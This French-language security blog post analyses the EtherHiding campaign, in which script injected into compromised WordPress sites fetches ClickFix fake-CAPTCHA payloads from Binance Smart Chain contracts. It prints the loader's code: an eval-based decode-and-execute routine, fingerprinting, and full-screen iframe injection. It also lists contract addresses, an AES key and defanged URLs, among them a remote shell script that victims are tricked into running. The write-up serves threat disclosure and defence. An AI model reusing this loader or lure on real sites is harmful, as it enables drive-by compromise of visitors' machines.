Skip to main content
Blog
Attacks Blog

La Blockchain n'est pas votre amie : analyse d'EtherHiding et de l'utilisation de la blockchain à des fins d'attaque

En mars/avril 2025, une variante de ClickFix circulait et utilisait la blockchain Binance avec des smart contracts pour contrôler des charges malveillantes diffusées depuis un plugin WordPress compromis.

Sep 02, 2025 9 min read
Bannière d'analyse d'EtherHiding et de la blockchain à des fins d'attaque

Il y a moins de deux semaines, l'un des nombreux smart contracts dormants résidant sur la Binance Smart Chain a soudainement repris vie. Les variables du contrat ont été mises à jour, les charges utiles réactivées, et l'attaque est désormais potentiellement active sur plus de 19 800 sites web compromis.

L'attaque est connue sous le nom d'EtherHiding ; elle repose principalement sur l'exploitation de smart contracts blockchain pour délivrer des charges utiles dynamiques de type ClickFix — sous forme de faux CAPTCHA — aux victimes. Nous avions initialement écrit sur les attaques ClickFix ciblant macOS en février, mais comme toute attaque, son mode de diffusion a évolué depuis. Cette catégorie croissante de menaces côté client est de plus en plus difficile à détecter, et encore plus à neutraliser.

Nous sommes cside, et nous surveillons les attaques JavaScript côté client impliquant des tiers. Rien qu'au premier trimestre 2025, nous avons observé plus de 300 000 sites web compromis.

Pourquoi la Binance Smart Chain ?

La Binance Smart Chain (BSC) est une plateforme blockchain en pleine expansion, conçue pour faire tourner des applications basées sur des smart contracts à destination des utilisateurs souhaitant s'aventurer dans le monde des cryptomonnaies. Contrairement aux chaînes traditionnelles (comme Ethereum, par exemple), la BSC mise sur des coûts de transaction faibles avec un débit élevé — ce qui la rend attractive non seulement pour les développeurs de finance décentralisée, mais aussi pour les acteurs malveillants.

Grâce à ces smart contracts, un acteur malveillant peut stocker des charges utiles malveillantes on-chain, ce qui lui confère plusieurs avantages par rapport à une infrastructure cloud traditionnelle :

  • Hébergement immuable (car une fois sur la blockchain, c'est permanent)
  • Stockage décentralisé, impossible à retirer
  • Mise à jour en temps réel via les fonctions du contrat

Dans cette campagne EtherHiding, les fonctions getter et setter de ces contrats sont utilisées pour délivrer des charges utiles JavaScript qui s'adaptent à l'environnement de la victime. Elles se déchiffrent et se décompressent dans le navigateur, puis s'exécutent.

Analyse de la chaîne d'attaque

L'attaque commence par l'injection de code malveillant dans la balise <head> d'un site, principalement sur des installations WordPress. Notre analyse désigne les plugins vulnérables comme vecteur d'accès probable. Une fois le code malveillant inséré dans le site, il déclenche une attaque en plusieurs étapes qui récupère ses instructions suivantes directement depuis la blockchain.

Étape 1 : Compromission initiale et mise en place

Le premier point de contact de ce script malveillant n'est pas un serveur contrôlé par l'attaquant, mais une connexion Web3 à la Binance Smart Chain. Le script contacte le smart contract à l'adresse 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53, lançant l'attaque en demandant des instructions supplémentaires à ce contrat.

L'ABI du contrat retourné (Application Binary Interface — soit une liste d'instructions contenues dans le contrat) ainsi que les informations associées sont encodés en Base64 et compressés avec gzip. Le script doit les décompresser à l'aide de la bibliothèque pako (un portage JavaScript de la bibliothèque de compression zlib) avant de pouvoir les analyser et les utiliser.


const web3 = new Web3("https://bsc-dataseed.binance[.]org/");
const contract = new web3.eth.Contract([...], "0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53");

  

const orchidABI = await contract.methods.orchidABI().call();
const orchidAddress = await contract.methods.orchidAddress().call();
const orchid = new web3.eth.Contract(JSON.parse(orchidABI), orchidAddress);

  

Après avoir établi le contact, le script appelle une fonction blockchain pour obtenir l'adresse du smart contract suivant, situé à 0x8FBA1667BEF5EdA433928b220886A830488549BD.

Étape 2 : Chargeur multi-charge via tokyoSkytree

Le contrat **0x8FBA1667BEF5EdA433928b220886A830488549BD**, nommé en interne le contrat Orchid, est le contrat le plus important de la chaîne d'attaque.

Ce contrat contient cinq fonctions essentielles qui déterminent la suite de l'attaque :

  • tokyoSkytree
  • akihabaraLights
  • asakusaTemple
  • ginzaLuxury
  • shibuyaCrossing

Le cœur de l'attaque est initié par la fonction **tokyoSkytree**, qui se comporte comme un chargeur et un orchestrateur télécommandé pour l'ensemble de la charge utile. Elle exécute les quatre autres fonctions du smart contract l'une après l'autre, chacune retournant un blob JavaScript compressé et encodé en Base64 pour mieux dissimuler ses réponses.


(async () => {
  if (!checkCookie('not-robot')) {
    await teaCeremony(await orchid.methods.shibuyaCrossing().call(), 2);
    await teaCeremony(await orchid.methods.akihabaraLights().call(), 3);
    await teaCeremony(await orchid.methods.ginzaLuxury().call(), 4);
    await teaCeremony(await orchid.methods.asakusaTemple().call(), 5);
    setCookie('not-robot', 30);
  }
})();

  

Chacune de ces fonctions de smart contract retourne une charge utile qui est décodée et exécutée dynamiquement via la fonction **teaCeremony** :


const teaCeremony = async (encodedScroll, templeNumber) => {
  const cherryBlossoms = atob(encodedScroll);
  const calligraphy = Uint8Array.from(cherryBlossoms, c => c.charCodeAt(0));
  const haiku = pako.ungzip(calligraphy, { to: "string" }).trim();
  await eval(`(async () => { ${haiku} })()`);
};

  

Ce pipeline (simplifié) décode la chaîne Base64, la décompresse avec gzip, puis l'exécute via la fonction eval. Cette conception rend la campagne d'attaque à la fois modulaire et agile, car les charges utiles stockées on-chain peuvent être remplacées extrêmement rapidement.

Étape 3 : Empreinte de la victime

shibuyaCrossing — Déterminer le système d'exploitation


const summonSpiritOfPlatform = () => {
  const { userAgent, platform } = navigator;
  if (/Win/i.test(platform)) return "Windows";
  if (/Mac/i.test(platform)) return "MacOS";
  if (/Linux/i.test(platform)) return /Android/.test(userAgent) ? "Android" : "Linux";
  return "Unknown";
};

  

akihabaraLights — Déterminer le navigateur


const summonSpiritOfBrowser = () => {
  const { userAgent } = navigator;
  if (/Chrome/i.test(userAgent)) return "Chrome";
  if (/Firefox/i.test(userAgent)) return "Firefox";
  if (/Safari/i.test(userAgent) && !/Chrome/i.test(userAgent)) return "Safari";
  return "Unknown";
};

  

Les deux fonctions shibuyaCrossing et akihabaraLights servent à établir l'empreinte de l'environnement de la victime à partir de son système d'exploitation et de son navigateur. Ces informations sont ensuite utilisées pour servir une version spécifique de l'attaque en fonction du navigateur ou du système d'exploitation détecté.

Étape 4 : Déchiffrement et injection de la charge utile

Après avoir établi l'empreinte de l'environnement de l'utilisateur, **ginzaLuxury** contacte un troisième et dernier smart contract (situé à 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA, nommé le contrat Jade) qui charge à son tour d'autres fonctions.

Notamment : **getRandomSkylineByBrowserAndPlatform**.

Cette fonction, après réception des variables de navigateur et de système d'exploitation déterminées précédemment, retourne une URL à récupérer contenant le HTML chiffré à afficher. Après téléchargement de cette charge utile et déchiffrement via la fonction **pearlTower**, qui contient une clé de déchiffrement AES-GCM, l'attaque est finalement injectée dans une balise <iframe> en plein écran qui recouvre l'écran de la victime.


const cherryBlossomHTML = await (await fetch(skylineUrl)).text();
const sakuraKey = await JadeContract.methods.pearlTower().call();
const decryptedHTML = await decryptScrollToText(cherryBlossomHTML, sakuraKey);

const iframe = document.createElement("iframe");
iframe.srcdoc = decryptedHTML;
iframe.style = "position: fixed; width: 100%; height: 100%; z-index: 2147483647;";
document.body.appendChild(iframe);

  

D'après nos recherches, la seule URL actuellement active est **https://yie-cpj[.]pages[.]dev/mac**, qui contient une charge utile active pour les utilisateurs de Firefox, Google Chrome et Safari sur macOS.

Étape 5 : Analyse du HTML chiffré

Pour valider la phase finale de cette attaque, nous avons décodé et analysé le HTML chiffré hébergé sur **https://yie-cpj[.]pages[.]dev/mac**. À l'aide d'un script développé pendant nos recherches, nous avons pu collecter les transactions blockchain, décoder chaque charge utile envoyée au contrat, et déterminer la dernière clé de déchiffrement valide utilisée.

La clé **5AcwjGp22pUrT92hKNrO7f7bsbZJPz2PpWYwnP0Muhs=** peut être utilisée pour déchiffrer la charge utile HTML via la fonction de déchiffrement **decryptScrollToText** :


async function decryptScrollToText(encryptedBase64, keyBase64) {
   const key = Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0));
   console.log(key);
   const combinedData = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0));
   const iv = combinedData.slice(0, 12);
   const encryptedData = combinedData.slice(12);
   const cryptoKey = await crypto.subtle.importKey(
       "raw", key, "AES-GCM", false, ["decrypt"]
   );
   const decryptedArrayBuffer = await crypto.subtle.decrypt(
       { name: "AES-GCM", iv },
       cryptoKey,
       encryptedData
   );
   return new TextDecoder().decode(decryptedArrayBuffer);
}

  

Le HTML résultant est une charge utile de phishing de type ClickFix conçue pour ressembler à une page de vérification reCAPTCHA. Plutôt que de valider l'utilisateur via des images, elle demande à la victime de :

  1. Ouvrir le terminal macOS
  2. Coller et exécuter une commande encodée en Base64 récupérée dynamiquement depuis la fonction **jadeCode()** on-chain

La commande terminal affichée aux utilisateurs utilise le Base64 pour dissimuler l'URL de la charge utile : https://kimbeech[.]cfd/cap/verify.sh.

Bien que l'URL était inactive au moment de l'analyse et que le script **verify[.]sh** n'ait pas pu être récupéré pour un examen approfondi, la structure et le mode de diffusion ne laissent aucun doute sur les véritables intentions de l'attaquant.

En demandant à la victime d'exécuter une commande injectée dans le presse-papiers depuis son terminal, l'attaquant tente d'exécuter un script Bash distant sous couvert d'un processus de vérification CAPTCHA familier. Il s'agit d'une caractéristique clé de la technique d'ingénierie sociale ClickFix, et cela représente un risque sérieux de compromission totale de l'appareil.

Pourquoi la sécurité côté client est plus importante que jamais

Des attaques comme EtherHiding illustrent à quel point les menaces côté client ont évolué dans le paysage actuel des cybermenaces. Ces attaques sont modulaires, obfusquées, et comme EtherHiding, peuvent être entièrement délivrées via une infrastructure décentralisée impossible à neutraliser.

Parce que la charge utile vit dans le navigateur et réagit en fonction de l'environnement de l'utilisateur, ces attaques peuvent passer sous le radar des protections traditionnelles côté serveur. Elles n'ont même pas besoin d'exploiter le serveur lui-même. Il suffit que la victime charge la page.

Garder une longueur d'avance sur ces menaces implique non seulement de surveiller votre code, mais aussi ce que votre navigateur exécute. Cela inclut les scripts tiers, les ressources injectées, et une surveillance étroite des comportements susceptibles de muter en temps réel. À mesure que les surfaces d'attaque côté client deviennent de plus en plus complexes, notre approche défensive doit évoluer en conséquence.

Glossaire

Nom

Adresse du contrat

Rôle

Loader

0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53

Contrat initial fournissant l'ABI et l'adresse orchid

Orchid

0x8FBA1667BEF5EdA433928b220886A830488549BD

Logique d'exécution principale qui délivre du JavaScript Base64 + gzip

Jade

0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA

Stocke les URL des charges utiles chiffrées et les clés AES-GCM

URL

Comportement

https://yie-cpj[.]pages[.]dev/mac

Superposition CAPTCHA de phishing en plein écran (ciblant macOS)

https://hfdjmoedkjf[.]asia/

Point de terminaison de télémétrie utilisé pour journaliser les chaînes user-agent

https://kimbeech[.]cfd/

URL du script shell distant (actuellement inactif)

https://orange-service[.]xyz

Point de terminaison de télémétrie sur la page d'attaque, également utilisé pour signaler les chaînes user-agent

Contrat

Fonction

Rôle dans l'attaque

Orchid

tokyoSkytree()

Point d'entrée qui charge et exécute les autres fonctions du contrat

Orchid

shibuyaCrossing()

Retourne le script de détection du système d'exploitation

Orchid

akihabaraLights()

Retourne le script de détection du navigateur

Orchid

ginzaLuxury()

Charge le contrat Jade et déclenche également le flux de déchiffrement et de rendu

Orchid

asakusaTemple()

Envoie des données de télémétrie à l'acteur malveillant

Jade 

getRandomSkylineByBrowserAndPlatform()

Retourne la clé de déchiffrement AES-GCM pour les charges utiles HTML en popup

Jade

pearlTower()

Expose l'ensemble des correspondances de charges utiles avec leurs URL

Jade

getAllSkylines()

Permet à l'attaquant de changer la clé de déchiffrement (ex. : rotation du chiffrement)

Jade

setPearlTower()


Permet à l'attaquant de remplacer les URL des charges utiles sur plusieurs plateformes

Jack LaFond
Security Researcher

I'm a security engineer + security researcher at cside.

Surveillez et sécurisez vos scripts tiers

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Commencez gratuitement, ou essayez Business avec un essai de 14 jours.

cside Interface du tableau de bord affichant la surveillance des scripts et les analyses de sécurité
Related Articles
Réserver une démonstration